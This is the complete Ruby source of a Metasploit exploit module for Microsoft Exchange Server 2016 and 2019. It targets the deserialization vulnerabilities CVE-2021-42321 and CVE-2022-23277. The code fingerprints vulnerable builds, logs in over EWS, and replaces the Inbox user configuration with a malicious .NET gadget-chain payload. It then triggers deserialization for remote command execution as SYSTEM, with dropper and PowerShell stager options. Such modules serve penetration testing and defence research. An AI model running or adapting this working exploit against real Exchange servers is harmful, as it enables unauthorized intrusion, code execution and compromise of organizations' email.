This Metasploit module exploits vulnerabilities within the ChainedSerializationBinder as used in Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange Server 2016 CU22 all prior to Mar22SU. Note that authentication is required to exploit these vulnerabilities.
357c3536b07ff810cec76347c7e5ce16faf862cac3951d66875221d4f487430d##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'nokogiri'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HTTP::Exchange
include Msf::Exploit::Deprecated
moved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE',
'Description' => %q{
This module exploits vulnerabilities within the ChainedSerializationBinder as used in
Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and
Exchange Server 2016 CU22 all prior to Mar22SU.
Note that authentication is required to exploit these vulnerabilities.
},
'Author' => [
'pwnforsp', # Original Bug Discovery
'zcgonvh', # Of 360 noah lab, Original Bug Discovery
'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild
'Microsoft Security Response Center', # Discovery of exploitation in the wild
'peterjson', # Writeup
'testanull', # PoC Exploit
'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D
'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains
'Markus Wulftange' # CVE-2022-23277 research
],
'References' => [
# CVE-2021-42321 references
['CVE', '2021-42321'],
['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],
['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],
['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],
['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],
['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'],
# CVE-2022-23277 references
['CVE', '2022-23277'],
['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'],
['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c']
],
'DisclosureDate' => '2021-12-09',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :win_cmd
}
],
[
'Windows Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest
}
}
],
[
'PowerShell Stager',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'HttpClientTimeout' => 5,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169
CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.
]
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as']),
OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server'])
])
end
def post_auth?
true
end
def username
datastore['HttpUsername']
end
def password
datastore['HttpPassword']
end
def cve_2021_42321_vuln_builds
# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
[
'15.1.2308.8', '15.1.2308.14', '15.1.2308.15', # Exchange Server 2016 CU21
'15.1.2375.7', '15.1.2375.12', # Exchange Server 2016 CU22
'15.2.922.7', '15.2.922.13', '15.2.922.14', # Exchange Server 2019 CU10
'15.2.986.5', '15.2.986.9' # Exchange Server 2019 CU11
]
end
def cve_2022_23277_vuln_builds
# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
[
'15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU
'15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU
'15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU
'15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU
'15.2.922.19', # Exchange Server 2019 CU10 Nov21SU
'15.2.922.20', # Exchange Server 2019 CU10 Jan22SU
'15.2.986.14', # Exchange Server 2019 CU11 Nov21SU
'15.2.986.15' # Exchange Server 2019 CU11 Jan22SU
]
end
def check
# Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version
current_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)
if current_build_rex.nil?
return CheckCode::Unknown("Couldn't retrieve the target Exchange Server version!")
end
@exchange_build = current_build_rex.to_s
if cve_2021_42321_vuln_builds.include?(@exchange_build)
CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321")
elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277")
else
CheckCode::Safe("Exchange Server #{@exchange_build} does not appear to be a vulnerable version!")
end
end
def exploit
if @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it
@exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s
if @exchange_build.nil?
fail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.')
end
end
if cve_2021_42321_vuln_builds.include?(@exchange_build)
@gadget_chain = :ClaimsPrincipal
elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
@gadget_chain = :DataSetTypeSpoof
else
fail_with(Failure::NotVulnerable, "Exchange Server #{@exchange_build} is not a vulnerable version!")
end
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end
def execute_command(cmd, _opts = {})
# Get the user's inbox folder's ID and change key ID.
print_status("Getting the user's inbox folder's ID and ChangeKey ID...")
xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox" />
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
'data' => xml_getfolder_inbox,
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
}
)
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
unless res&.body
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
end
if res.code == 401
fail_with(Failure::NoAccess, "Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\#{username}")
end
xml_getfolder = res.get_xml_document
xml_getfolder.remove_namespaces!
xml_tag = xml_getfolder.xpath('//FolderId')
if xml_tag.empty?
print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')
fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')
end
unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')
fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')
end
change_key_val = xml_tag.attribute('ChangeKey').value
folder_id_val = xml_tag.attribute('Id').value
print_good("ChangeKey value for Inbox folder is #{change_key_val}")
print_good("ID value for Inbox folder is #{folder_id_val}")
# Delete the user configuration object that currently on the Inbox folder.
print_status('Deleting the user configuration object associated with Inbox folder...')
xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:DeleteUserConfiguration>
<m:UserConfigurationName Name="ExtensionMasterTable">
<t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
</m:UserConfigurationName>
</m:DeleteUserConfiguration>
</soap:Body>
</soap:Envelope>)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
'data' => xml_delete_inbox_user_config,
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
}
)
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
unless res&.body
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
end
if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}
print_good('Successfully deleted the user configuration object associated with the Inbox folder!')
else
print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')
print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')
end
# Now to replace the deleted user configuration object with our own user configuration object.
print_status('Creating the malicious user configuration object on the Inbox folder!')
xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:CreateUserConfiguration>
<m:UserConfiguration>
<t:UserConfigurationName Name="ExtensionMasterTable">
<t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
</t:UserConfigurationName>
<t:Dictionary>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgChkTm</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Integer64</t:Type>
<t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgDO</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Boolean</t:Type>
<t:Value>false</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
</t:Dictionary>
<t:BinaryData>#{Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: @gadget_chain, formatter: :BinaryFormatter))}</t:BinaryData>
</m:UserConfiguration>
</m:CreateUserConfiguration>
</soap:Body>
</soap:Envelope>)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
'data' => xml_malicious_user_config,
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
}
)
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
unless res&.body
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
end
unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}
fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')
end
print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')
# Deserialize our object. If all goes well, you should now have SYSTEM :)
print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')
xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:GetClientAccessToken>
<m:TokenRequests>
<t:TokenRequest>
<t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>
<t:TokenType>CallerIdentity</t:TokenType>
</t:TokenRequest>
</m:TokenRequests>
</m:GetClientAccessToken>
</soap:Body>
</soap:Envelope>)
begin
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
'data' => xml_get_client_access_token,
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
}
)
rescue Errno::ECONNRESET
# when using the DataSetTypeSpoof gadget, it's expected that this connection reset exception will be raised
end
end
end